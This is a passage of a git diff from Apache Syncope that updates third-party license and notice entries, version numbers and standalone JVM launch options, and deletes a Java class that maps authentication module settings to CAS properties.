WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, -WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF -THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - +For QDox (https://github.com/paul-hammant/qdox): +This is licensed under the AL 2.0, see above. == -For QDox (https://github.com/paul-hammant/qdox): +For UnboundID LDAP SDK for Java (https://github.com/pingidentity/ldapsdk): This is licensed under the AL 2.0, see above. == @@ -1282,6 +1277,11 @@ This is Public Domain. == +For css-vars-ponyfill (https://github.com/jhildenbiddle/css-vars-ponyfill): +This is licensed under the MIT license, see above. + +== + For DataTables (https://datatables.net/): This is licensed under the MIT license, see above. @@ -1293,7 +1293,32 @@ This is licensed under the AL 2.0, see above. == For Jakarta Activation (https://eclipse-ee4j.github.io/jaf/): -This is licensed under the EDL 1.0, see above. +This is licensed under the EDL 1.0: + +Eclipse Distribution License - v 1.0 + +Copyright (c) 2007, Eclipse Foundation, Inc. and its licensors. + +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, are permitted provided that the +following conditions are met: + +* Redistributions of source code must retain the above copyright notice, this list of conditions and the following + disclaimer. +* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following + disclaimer in the documentation and/or other materials provided with the distribution. +* Neither the name of the Eclipse Foundation, Inc. nor the names of its contributors may be used to endorse or promote + products derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, +INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, +WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF +THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + == @@ -1317,6 +1342,11 @@ This is licensed under the MIT license, see above. == +For get-css-data (https://github.com/jhildenbiddle/get-css-data): +This is licensed under the MIT license, see above. + +== + For google-diff-match-patch (https://code.google.com/archive/p/google-diff-match-patch/): This is licensed under the AL 2.0, see above. @@ -1332,6 +1362,11 @@ This is licensed under the BSD license, see above. == +For Inputmask (https://github.com/RobinHerbots/Inputmask): +This is licensed under the MIT license, see above. + +== + For Metrics (http://dropwizard.github.io/metrics/): This is licensed under the AL 2.0, see above. @@ -1342,6 +1377,11 @@ This is licensed under the MIT license, see above. == +For jsonwebtoken.io (https://jsonwebtoken.io): +This is licensed under the AL 2.0, see above. + +== + For Micrometer Application Metrics (https://micrometer.io/): This is licensed under the AL 2.0, see above. @@ -1392,6 +1432,11 @@ This is licensed under the CDDL 1.0, see above. == +For JSR107 (JCache) (https://github.com/jsr107/jsr107spec): +This is licensed under the AL 2.0, see above. + +== + For Expression Language 3.0 API (https://javaee.github.io/uel-ri/): This is licensed under the CDDL 1.0, see above. @@ -1462,6 +1507,16 @@ This is licensed under the MIT license, see above. == +For Material Components for the web (https://github.com/material-components/material-components-web): +This is licensed under the MIT license, see above. + +== + +For Webfont - Material Design Icons (https://github.com/Templarian/MaterialDesign-Webfont): +This is licensed under the MIT license, see above. + +== + For Modernizr (https://modernizr.com): This is licensed under the MIT license, see above. @@ -1497,6 +1552,16 @@ This is licensed under the CDDL 1.0, see above. == +For Groovy Security Sandbox (https://github.com/Tirasa/groovy-security-sandbox): +This is licensed under the MIT license, see above. + +== + +For normalize.css (http://necolas.github.io/normalize.css/): +This is licensed under the MIT license, see above. + +== + For Groovy Extensions (https://github.com/ultraq/groovy-extensions/): This is licensed under the AL 2.0, see above. @@ -1567,11 +1632,6 @@ This is licensed under the MIT license, see above. == -For MojoHaus AnimalSniffer Maven Plugin (https://github.com/mojohaus/animal-sniffer): -This is licensed under the MIT license, see above. - -== - For StAX2 API (http://wiki.fasterxml.com/WoodstoxStax2): This is licensed under the BSD license, see above. @@ -1582,6 +1642,11 @@ This is licensed under the AL 2.0, see above. == +For groovy-sandbox (https://github.com/craftercms/groovy-sandbox): +This is licensed under the MIT license, see above. + +== + For Cryptacular (https://github.com/vt-middleware/cryptacular): This is licensed under the AL 2.0, see above. @@ -1592,6 +1657,11 @@ This is licensed under the MIT license, see above. == +For Ehcache (http://ehcache.org/): +This is licensed under the AL 2.0, see above. + +== + For Flowable (http://www.flowable.org/): This is licensed under the AL 2.0, see above. @@ -1757,11 +1827,6 @@ This is licensed under the AL 2.0, see above. == -For Chart.js (http://www.chartjs.org/): -This is licensed under the AL 2.0, see above. - -== - For Moment.js (http://momentjs.com/): This is licensed under the MIT license, see above. @@ -1772,47 +1837,32 @@ This is licensed under the MIT license, see above. == -For balanced-match (https://github.com/juliangruber/balanced-match): -This is licensed under the MIT license, see above. - -== - -For base64-js (https://github.com/beatgammit/base64-js): -This is licensed under the MIT license, see above. - -== - -For css-vars-ponyfill (https://github.com/jhildenbiddle/css-vars-ponyfill): -This is licensed under the MIT license, see above. - -== - -For get-css-data (https://github.com/jhildenbiddle/get-css-data): -This is licensed under the MIT license, see above. +For WicketStuff (https://wicketstuff.org/): +This is licensed under the AL 2.0, see above. == -For Inputmask (https://github.com/RobinHerbots/Inputmask): -This is licensed under the MIT license, see above. +For SnakeYAML (http://www.snakeyaml.org/): +This is licensed under the AL 2.0, see above. == -For Material Components for the web (https://github.com/material-components/material-components-web): +For popper.js (https://github.com/FezVrasta/popper.js): This is licensed under the MIT license, see above. == -For Webfont - Material Design Icons (https://github.com/Templarian/MaterialDesign-Webfont): +For spin.js (http://spin.js.org/): This is licensed under the MIT license, see above. == -For normalize.css (http://necolas.github.io/normalize.css/): +For Summernote (https://summernote.org/): This is licensed under the MIT license, see above. == -For Summernote (https://summernote.org/): +For Tempus Dominus Bootstrap 4 Datetime Picker (https://github.com/tempusdominus/bootstrap-4): This is licensed under the MIT license, see above. == @@ -1827,42 +1877,17 @@ This is licensed under the BSD license, see above. == -For window.fetch polyfill (https://github.github.io/fetch/): -This is licensed under the MIT license, see above. - -== - -For WicketStuff (https://wicketstuff.org/): -This is licensed under the AL 2.0, see above. - -== - -For SnakeYAML (http://www.snakeyaml.org/): -This is licensed under the AL 2.0, see above. - -== - -For popper.js (https://github.com/FezVrasta/popper.js): -This is licensed under the MIT license, see above. - -== - -For spin.js (http://spin.js.org/): -This is licensed under the MIT license, see above. - -== - -For Tempus Dominus Bootstrap 4 Datetime Picker (https://github.com/tempusdominus/bootstrap-4): +For typeahead.js (http://twitter.github.io/typeahead.js/): This is licensed under the MIT license, see above. == -For typeahead.js (http://twitter.github.io/typeahead.js/): +For Webjars-locator core functionality (https://github.com/webjars/webjars-locator-core): This is licensed under the MIT license, see above. == -For Webjars-locator core functionality (https://github.com/webjars/webjars-locator-core): +For window.fetch polyfill (https://github.github.io/fetch/): This is licensed under the MIT license, see above. == diff --git a/standalone/NOTICE b/standalone/NOTICE index 0beae23cea4..8adb1c4e21f 100644 --- a/standalone/NOTICE +++ b/standalone/NOTICE @@ -1,5 +1,5 @@ Apache Syncope -Copyright 2012-2022 The Apache Software Foundation +Copyright 2012-2026 The Apache Software Foundation This product includes software developed by: The Apache Software Foundation (http://www.apache.org/). @@ -23,6 +23,16 @@ Copyright (c) 2013 Kohsuke Kawaguchi and other contributors == +This product includes software developed by balanced-match +Copyright (c) 2013 Julian Gruber + +== + +This product includes software developed by base64-js +Copyright (c) 2014 Jameson Little + +== + This product includes software developed by the Bootbox.js project. Copyright (C) 2011-2015 by Nick Payne nick@kurai.co.uk @@ -38,6 +48,11 @@ Copyright (c) 2013-2015 bootstrap-select] == +This product includes software developed by the Chart.js project. +Copyright (c) 2018 Chart.js Contributors + +== + This product includes software developed by the Modernizr project. Copyright (C) 2016 @@ -154,13 +169,13 @@ Copyright (c) 2006 - 2019, Wael Chatila and GreenMail project contributors == -This product includes software developed by mchange-commons-java -Copyright (C) 2015 Machinery For Change, Inc. +This product includes software developed by Microsoft OAuth 2.0 User Agent library for Java +Copyright (c) Microsoft Corporation == -This product includes software developed by Microsoft OAuth 2.0 User Agent library for Java -Copyright (c) Microsoft Corporation +This product includes software developed by Microsoft Azure Active Directory Authentication Library (ADAL) for Java +Copyright (c) Microsoft Corporation. All rights reserved. == @@ -184,11 +199,6 @@ Copyright 2012-2022, Connect2id Ltd == -This product includes software developed by Okio -Copyright 2013 Square, Inc. - -== - This product includes software developed by Moshi Copyright (C) 2020 Square, Inc. @@ -199,6 +209,11 @@ Copyright (c) 2022 Square, Inc. == +This product includes software developed by Okio +Copyright 2013 Square, Inc. + +== + This product includes software developed by Retrofit Copyright 2014 Square, Inc. @@ -214,13 +229,13 @@ Copyright (c) 2013-2016 The JAXB project. == -This product includes software produced and maintained by Eclipse Metro -All content is the property of the respective authors or their employers. +This product includes software developed by QDox. +Copyright 2002-2009 Joe Walnes and QDox Project Team == -This product includes software developed by QDox. -Copyright 2002-2009 Joe Walnes and QDox Project Team +This product includes software developed by UnboundID LDAP SDK for Java +Copyright 2007-2022 Ping Identity Corporation == @@ -248,6 +263,11 @@ This product includes software developed by Dough Lea == +This product includes software developed by css-vars-ponyfill +Copyright (c) 2018 John Hildenbiddle + +== + This product includes software developed by DataTables Copyright (c) 2008-present, SpryMedia Limited @@ -278,6 +298,11 @@ Copyright (C) 2009-2016 Kristopher Michael Kowal and contributors == +This product includes software developed by get-css-data +Copyright (c) 2018 John Hildenbiddle + +== + This product includes software developed by the google-diff-match-patch project. Copyright (c) 2006 Google Inc. @@ -293,6 +318,11 @@ Copyright (c) 2006, Ivan Sagalaev == +This product includes software developed by Inputmask +Copyright (c) 2010 - 2018 Robin Herbots + +== + This product includes software developed by the Metrics project. Copyright (c) 2010-2014 Coda Hale, Yammer.com @@ -303,7 +333,12 @@ Copyright (c) 2020 Luke Hutchison == -This product includes software developed by Micrometer Application Metrics +This product includes software developed by jsonwebtoken.io. +Copyright (C) 2014-2023 jsonwebtoken.io + +== + +This product includes software developed by Micrometer Application Metrics. Copyright (c) 2017-Present VMware, Inc. All Rights Reserved. == @@ -349,6 +384,11 @@ Copyright (c) 2012-2013 Oracle and/or its affiliates. All rights reserved. == +This product includes software developed by JSR107 (JCache). +Copyright (c) JSR107 Expert Group + +== + This product includes software developed by Expression Language 3.0 API Copyright (c) 1997-2013 Oracle and/or its affiliates. All rights reserved. @@ -415,6 +455,11 @@ Copyright (c) 2010 - 2014 jsPlumb, http://jsplumbtoolkit.com/ == +This product includes software developed by Material Components for the web +Copyright 2018 Google Inc. + +== + This product includes software developed by Byte Buddy Copyright 2014 - Present Rafael Winterhalter @@ -432,6 +477,17 @@ Copyright 2011-2016 Tirasa S.r.l. All rights reserved. == +This product includes software developed by Groovy Security Sandbox +Copyright (c) 2012-2020 Kohsuke Kawaguchi, CloudBees, Inc., other contributors +Copyright (c) 2025 Tirasa + +== + +This product includes software developed by normalize.css +Copyright © Nicolas Gallagher and Jonathan Neal + +== + This product includes software developed by Thymeleaf Expression Processor Copyright 2016, Emanuel Rabina (http://www.ultraq.net.nz/) @@ -482,16 +538,16 @@ Copyright (c) 2004-present by the Checker Framework developers == -This product includes software developed by MojoHaus AnimalSniffer Maven Plugin -Copyright (c) 2009, codehaus.org +This product includes software developed by the Stax 2 Extension API Project. == -This product includes software developed by the Stax 2 Extension API Project. +This product includes software developed by the Woodstox Project. == -This product includes software developed by the Woodstox Project. +This product includes software developed by groovy-sandbox +Copyright (c) 2012-2020 Kohsuke Kawaguchi, CloudBees, Inc., other contributors == @@ -500,6 +556,11 @@ Copyright (c) 2015 Jakub Danek == +This product includes software developed by Terracotta. Inc. +Ehcache source code and documentation are Copyright (c) Terracotta, Inc. + +== + This product includes software developed by the Flowable project. == @@ -634,11 +695,6 @@ Copyright 2012 Twitter, Inc. == -This product includes software developed by the Chart.js project. -Copyright (c) 2018 Chart.js Contributors - -== - This product includes software developed by Moment.js. Copyright (c) JS Foundation and other contributors @@ -649,38 +705,17 @@ Copyright (c) 2012-2016 Dan Wheeler and Dropbox, Inc. == -This product includes software developed by balanced-match -Copyright (c) 2013 Julian Gruber - -== - -This product includes software developed by base64-js -Copyright (c) 2014 Jameson Little - -== - -This product includes software developed by css-vars-ponyfill -Copyright (c) 2018 John Hildenbiddle - -== - -This product includes software developed by get-css-data -Copyright (c) 2018 John Hildenbiddle - -== - -This product includes software developed by Inputmask -Copyright (c) 2010 - 2018 Robin Herbots +This product includes software developed by WicketStuff +Copyright (c) 1998-2004, Drew Davidson and Luke Blanshard == -This product includes software developed by Material Components for the web -Copyright 2018 Google Inc. +This product includes software developed by the SnakeYAML project. == -This product includes software developed by normalize.css -Copyright © Nicolas Gallagher and Jonathan Neal +This product includes software developed by popper.js +Copyright (c) 2021 Floating UI contributors == @@ -689,37 +724,23 @@ Copyright (c) 2015~ Summernote Team (https://github.com/orgs/summernote/people) == -This product includes software developed by tslib -Copyright (c) Microsoft Corporation. - -== - -This product includes software developed by window.fetch polyfill -Copyright (c) 2014-2016 GitHub, Inc. - -== - -This product includes software developed by WicketStuff -Copyright (c) 1998-2004, Drew Davidson and Luke Blanshard - -== - -This product includes software developed by the SnakeYAML project. +This product includes software developed by Tempus Dominus Bootstrap 4 Datetime Picker +Copyright (c) 2016 Tempus Dominus == -This product includes software developed by popper.js -Copyright (c) 2021 Floating UI contributors +This product includes software developed by tslib +Copyright (c) Microsoft Corporation. == -This product includes software developed by Tempus Dominus Bootstrap 4 Datetime Picker -Copyright (c) 2016 Tempus Dominus +This product includes software developed by Webjars-locator core functionality +Copyright (c) 2013 James Ward == -This product includes software developed by Webjars-locator core functionality -Copyright (c) 2013 James Ward +This product includes software developed by window.fetch polyfill +Copyright (c) 2014-2016 GitHub, Inc. == diff --git a/standalone/pom.xml b/standalone/pom.xml index b1d3bd88033..a278782bc79 100644 --- a/standalone/pom.xml +++ b/standalone/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Standalone Distribution @@ -36,9 +36,6 @@ under the License. ${basedir}/.. - ${CATALINA_HOME}/webapps/syncope/WEB-INF/classes - connid://${testconnectorserver.key}@localhost:${testconnectorserver.port} - ${sys:catalina.home}/logs ./test-csvdir ${project.build.directory}/standalone @@ -167,6 +164,7 @@ under the License. + @@ -187,9 +185,18 @@ under the License. - - + + + + + ]]> + + +]]> + @@ -297,6 +304,17 @@ under the License. src/main/resources + + setenv.* + + true + + + src/main/resources + + setenv.* + + false src/assemble diff --git a/standalone/src/main/resources/setenv.bat b/standalone/src/main/resources/setenv.bat index 6610ba33717..865bf592e7d 100644 --- a/standalone/src/main/resources/setenv.bat +++ b/standalone/src/main/resources/setenv.bat @@ -1,16 +1,17 @@ -# Licensed to the Apache Software Foundation (ASF) under one or more -# contributor license agreements. See the NOTICE file distributed with -# this work for additional information regarding copyright ownership. -# The ASF licenses this file to You under the Apache License, Version 2.0 -# (the "License"); you may not use this file except in compliance with -# the License. You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. +@echo off +rem Licensed to the Apache Software Foundation (ASF) under one or more +rem contributor license agreements. See the NOTICE file distributed with +rem this work for additional information regarding copyright ownership. +rem The ASF licenses this file to You under the Apache License, Version 2.0 +rem (the "License"); you may not use this file except in compliance with +rem the License. You may obtain a copy of the License at +rem +rem http://www.apache.org/licenses/LICENSE-2.0 +rem +rem Unless required by applicable law or agreed to in writing, software +rem distributed under the License is distributed on an "AS IS" BASIS, +rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +rem See the License for the specific language governing permissions and +rem limitations under the License. -set JAVA_OPTS=-Djava.awt.headless=true -Dfile.encoding=UTF-8 -Dspring.profiles.active=embedded -server -Xms2048m -Xmx2048m -XX:NewSize=256m -XX:MaxNewSize=256m -XX:+DisableExplicitGC -Dwicket.ioc.useByteBuddy=true -DCATALINA_HOME=%CATALINA_HOME% +set JAVA_OPTS=-Djava.awt.headless=true -Dfile.encoding=UTF-8 -Djavax.net.ssl.trustStore=%CATALINA_HOME%\conf\keystore.jks -Dsyncope.connid.location=connid://${testconnectorserver.key}@localhost:${testconnectorserver.port} -Dsyncope.conf.dir=%CATALINA_HOME%\webapps\syncope\WEB-INF\classes -Dsyncope.log.dir=%CATALINA_HOME%\logs -Dspring.profiles.active=embedded,all -server -Xms2048m -Xmx2048m -XX:NewSize=256m -XX:MaxNewSize=256m -XX:+DisableExplicitGC -Dwicket.ioc.useByteBuddy=true -DCATALINA_HOME=%CATALINA_HOME% diff --git a/standalone/src/main/resources/setenv.sh b/standalone/src/main/resources/setenv.sh index 04ce11ce63a..4156612dea9 100755 --- a/standalone/src/main/resources/setenv.sh +++ b/standalone/src/main/resources/setenv.sh @@ -13,4 +13,4 @@ # See the License for the specific language governing permissions and # limitations under the License. -JAVA_OPTS="-Djava.awt.headless=true -Dfile.encoding=UTF-8 -Dspring.profiles.active=embedded -server -Xms2048m -Xmx2048m -XX:NewSize=256m -XX:MaxNewSize=256m -XX:+DisableExplicitGC -Dwicket.ioc.useByteBuddy=true -DCATALINA_HOME=$CATALINA_HOME" +JAVA_OPTS="-Djava.awt.headless=true -Dfile.encoding=UTF-8 -Djavax.net.ssl.trustStore=$CATALINA_HOME/conf/keystore.jks -Djavax.net.ssl.trustStorePassword=password -Dsyncope.conf.dir=$CATALINA_HOME/webapps/syncope/WEB-INF/classes -Dsyncope.connid.location=connid://${testconnectorserver.key}@localhost:${testconnectorserver.port} -Dsyncope.log.dir=$CATALINA_HOME/logs -Dspring.profiles.active=embedded,all -server -Xms2048m -Xmx2048m -XX:NewSize=256m -XX:MaxNewSize=256m -XX:+DisableExplicitGC -Dwicket.ioc.useByteBuddy=true -DCATALINA_HOME=$CATALINA_HOME" diff --git a/wa/bootstrap/pom.xml b/wa/bootstrap/pom.xml index 690e29fe163..93bad69907d 100644 --- a/wa/bootstrap/pom.xml +++ b/wa/bootstrap/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope-wa - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope WA Bootstrap @@ -57,6 +57,14 @@ under the License. org.apereo.cas cas-server-core-util-api + + org.apereo.cas + cas-server-core-authentication-attributes + + + org.apereo.cas + cas-server-support-oidc-core + org.slf4j diff --git a/wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/AuthModulePropertySourceMapper.java b/wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/AuthModulePropertySourceMapper.java deleted file mode 100644 index b14c7fe1370..00000000000 --- a/wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/AuthModulePropertySourceMapper.java +++ /dev/null @@ -1,271 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - */ -package org.apache.syncope.wa.bootstrap; - -import java.util.Map; -import java.util.Optional; -import java.util.concurrent.TimeUnit; -import java.util.stream.Collectors; -import org.apache.commons.lang3.StringUtils; -import org.apache.syncope.client.lib.SyncopeClient; -import org.apache.syncope.common.lib.auth.AuthModuleConf; -import org.apache.syncope.common.lib.auth.DuoMfaAuthModuleConf; -import org.apache.syncope.common.lib.auth.GoogleMfaAuthModuleConf; -import org.apache.syncope.common.lib.auth.JDBCAuthModuleConf; -import org.apache.syncope.common.lib.auth.JaasAuthModuleConf; -import org.apache.syncope.common.lib.auth.LDAPAuthModuleConf; -import org.apache.syncope.common.lib.auth.OIDCAuthModuleConf; -import org.apache.syncope.common.lib.auth.SAML2IdPAuthModuleConf; -import org.apache.syncope.common.lib.auth.SimpleMfaAuthModuleConf; -import org.apache.syncope.common.lib.auth.StaticAuthModuleConf; -import org.apache.syncope.common.lib.auth.SyncopeAuthModuleConf; -import org.apache.syncope.common.lib.auth.U2FAuthModuleConf; -import org.apache.syncope.common.lib.to.AuthModuleTO; -import org.apache.syncope.common.lib.types.AuthModuleState; -import org.apereo.cas.configuration.CasCoreConfigurationUtils; -import org.apereo.cas.configuration.model.core.authentication.AuthenticationHandlerStates; -import org.apereo.cas.configuration.model.support.generic.AcceptAuthenticationProperties; -import org.apereo.cas.configuration.model.support.jaas.JaasAuthenticationProperties; -import org.apereo.cas.configuration.model.support.jdbc.authn.QueryJdbcAuthenticationProperties; -import org.apereo.cas.configuration.model.support.ldap.AbstractLdapAuthenticationProperties; -import org.apereo.cas.configuration.model.support.ldap.LdapAuthenticationProperties; -import org.apereo.cas.configuration.model.support.mfa.DuoSecurityMultifactorAuthenticationProperties; -import org.apereo.cas.configuration.model.support.mfa.gauth.GoogleAuthenticatorMultifactorProperties; -import org.apereo.cas.configuration.model.support.mfa.gauth.LdapGoogleAuthenticatorMultifactorProperties; -import org.apereo.cas.configuration.model.support.mfa.simple.CasSimpleMultifactorAuthenticationProperties; -import org.apereo.cas.configuration.model.support.mfa.u2f.U2FMultifactorAuthenticationProperties; -import org.apereo.cas.configuration.model.support.pac4j.oidc.Pac4jGenericOidcClientProperties; -import org.apereo.cas.configuration.model.support.pac4j.oidc.Pac4jOidcClientProperties; -import org.apereo.cas.configuration.model.support.pac4j.saml.Pac4jSamlClientProperties; -import org.apereo.cas.configuration.model.support.syncope.SyncopeAuthenticationProperties; -import org.apereo.cas.util.ResourceUtils; -import org.apereo.cas.util.model.TriStateBoolean; - -public class AuthModulePropertySourceMapper extends PropertySourceMapper implements AuthModuleConf.Mapper { - - protected final WARestClient waRestClient; - - public AuthModulePropertySourceMapper(final WARestClient waRestClient) { - this.waRestClient = waRestClient; - } - - @Override - public Map map(final AuthModuleTO authModuleTO, final StaticAuthModuleConf conf) { - AcceptAuthenticationProperties props = new AcceptAuthenticationProperties(); - props.setName(authModuleTO.getKey()); - props.setState(AuthenticationHandlerStates.valueOf(authModuleTO.getState().name())); - props.setOrder(authModuleTO.getOrder()); - String users = conf.getUsers().entrySet().stream(). - map(entry -> entry.getKey() + "::" + entry.getValue()). - collect(Collectors.joining(",")); - props.setUsers(users); - - return prefix("cas.authn.accept.", CasCoreConfigurationUtils.asMap(props)); - } - - @Override - public Map map(final AuthModuleTO authModuleTO, final LDAPAuthModuleConf conf) { - LdapAuthenticationProperties props = new LdapAuthenticationProperties(); - props.setName(authModuleTO.getKey()); - props.setState(AuthenticationHandlerStates.valueOf(authModuleTO.getState().name())); - props.setOrder(authModuleTO.getOrder()); - if (StringUtils.isNotBlank(conf.getBindDn()) && StringUtils.isNotBlank(conf.getBindCredential())) { - props.setType(AbstractLdapAuthenticationProperties.AuthenticationTypes.AUTHENTICATED); - } - props.setPrincipalAttributeId(conf.getUserIdAttribute()); - props.setPrincipalAttributeList(conf.getPrincipalAttributeList()); - fill(props, conf); - - return prefix("cas.authn.ldap[].", CasCoreConfigurationUtils.asMap(props)); - } - - @Override - public Map map(final AuthModuleTO authModuleTO, final JDBCAuthModuleConf conf) { - QueryJdbcAuthenticationProperties props = new QueryJdbcAuthenticationProperties(); - props.setName(authModuleTO.getKey()); - props.setState(AuthenticationHandlerStates.valueOf(authModuleTO.getState().name())); - props.setOrder(authModuleTO.getOrder()); - props.setSql(conf.getSql()); - props.setFieldDisabled(conf.getFieldDisabled()); - props.setFieldExpired(conf.getFieldExpired()); - props.setFieldPassword(conf.getFieldPassword()); - props.setPrincipalAttributeList(conf.getPrincipalAttributeList()); - fill(props, conf); - - return prefix("cas.authn.jdbc.query[].", CasCoreConfigurationUtils.asMap(props)); - } - - @Override - public Map map(final AuthModuleTO authModuleTO, final JaasAuthModuleConf conf) { - JaasAuthenticationProperties props = new JaasAuthenticationProperties(); - props.setName(authModuleTO.getKey()); - props.setState(AuthenticationHandlerStates.valueOf(authModuleTO.getState().name())); - props.setOrder(authModuleTO.getOrder()); - props.setLoginConfigType(conf.getLoginConfigType()); - props.setKerberosKdcSystemProperty(conf.getKerberosKdcSystemProperty()); - props.setKerberosRealmSystemProperty(conf.getKerberosRealmSystemProperty()); - props.setLoginConfigType(conf.getLoginConfigurationFile()); - props.setRealm(conf.getRealm()); - - return prefix("cas.authn.jaas[].", CasCoreConfigurationUtils.asMap(props)); - } - - @Override - public Map map(final AuthModuleTO authModuleTO, final OIDCAuthModuleConf conf) { - Pac4jGenericOidcClientProperties props = new Pac4jGenericOidcClientProperties(); - props.setId(conf.getClientId()); - props.setSecret(conf.getClientSecret()); - props.setClientName(Optional.ofNullable(conf.getClientName()).orElse(authModuleTO.getKey())); - props.setEnabled(authModuleTO.getState() == AuthModuleState.ACTIVE); - props.setCustomParams(conf.getCustomParams()); - props.setDiscoveryUri(conf.getDiscoveryUri()); - props.setMaxClockSkew(conf.getMaxClockSkew()); - props.setPreferredJwsAlgorithm(conf.getPreferredJwsAlgorithm()); - props.setResponseMode(conf.getResponseMode()); - props.setResponseType(conf.getResponseType()); - props.setScope(conf.getScope()); - props.setPrincipalAttributeId(conf.getUserIdAttribute()); - Pac4jOidcClientProperties client = new Pac4jOidcClientProperties(); - client.setGeneric(props); - - return prefix("cas.authn.pac4j.oidc[].generic.", CasCoreConfigurationUtils.asMap(props)); - } - - @Override - public Map map(final AuthModuleTO authModuleTO, final SAML2IdPAuthModuleConf conf) { - Pac4jSamlClientProperties props = new Pac4jSamlClientProperties(); - props.setClientName(Optional.ofNullable(conf.getClientName()).orElse(authModuleTO.getKey())); - props.setEnabled(authModuleTO.getState() == AuthModuleState.ACTIVE); - props.setAcceptedSkew(conf.getAcceptedSkew()); - props.setAssertionConsumerServiceIndex(conf.getAssertionConsumerServiceIndex()); - props.setAttributeConsumingServiceIndex(conf.getAttributeConsumingServiceIndex()); - props.setAuthnContextClassRef(conf.getAuthnContextClassRefs()); - props.setAuthnContextComparisonType(conf.getAuthnContextComparisonType()); - props.setBlockedSignatureSigningAlgorithms(conf.getBlockedSignatureSigningAlgorithms()); - props.setDestinationBinding(conf.getDestinationBinding().getUri()); - props.setIdentityProviderMetadataPath(conf.getIdentityProviderMetadataPath()); - props.setKeystoreAlias(conf.getKeystoreAlias()); - props.setKeystorePassword(conf.getKeystorePassword()); - props.setMaximumAuthenticationLifetime(conf.getMaximumAuthenticationLifetime()); - props.setNameIdPolicyFormat(conf.getNameIdPolicyFormat()); - props.setPrivateKeyPassword(conf.getPrivateKeyPassword()); - props.setProviderName(conf.getProviderName()); - props.setServiceProviderEntityId(conf.getServiceProviderEntityId()); - props.setSignatureAlgorithms(conf.getSignatureAlgorithms()); - props.setSignatureCanonicalizationAlgorithm(conf.getSignatureCanonicalizationAlgorithm()); - props.setSignatureReferenceDigestMethods(conf.getSignatureReferenceDigestMethods()); - props.setPrincipalAttributeId(conf.getUserIdAttribute()); - props.setNameIdPolicyAllowCreate(StringUtils.isBlank(conf.getNameIdPolicyAllowCreate()) - ? TriStateBoolean.UNDEFINED - : TriStateBoolean.valueOf(conf.getNameIdPolicyAllowCreate().toUpperCase())); - - return prefix("cas.authn.pac4j.saml[].", CasCoreConfigurationUtils.asMap(props)); - } - - @Override - public Map map(final AuthModuleTO authModuleTO, final SyncopeAuthModuleConf conf) { - SyncopeClient syncopeClient = waRestClient.getSyncopeClient(); - if (syncopeClient == null) { - LOG.warn("Application context is not ready to bootstrap WA configuration"); - return Map.of(); - } - - SyncopeAuthenticationProperties props = new SyncopeAuthenticationProperties(); - props.setName(authModuleTO.getKey()); - props.setState(AuthenticationHandlerStates.valueOf(authModuleTO.getState().name())); - props.setDomain(conf.getDomain()); - props.setUrl(StringUtils.substringBefore(syncopeClient.getAddress(), "/rest")); - - return prefix("cas.authn.syncope.", CasCoreConfigurationUtils.asMap(props)); - } - - @Override - public Map map(final AuthModuleTO authModuleTO, final GoogleMfaAuthModuleConf conf) { - GoogleAuthenticatorMultifactorProperties props = new GoogleAuthenticatorMultifactorProperties(); - props.setName(authModuleTO.getKey()); - props.setOrder(authModuleTO.getOrder()); - props.getCore().setIssuer(conf.getIssuer()); - props.getCore().setCodeDigits(conf.getCodeDigits()); - props.getCore().setLabel(conf.getLabel()); - 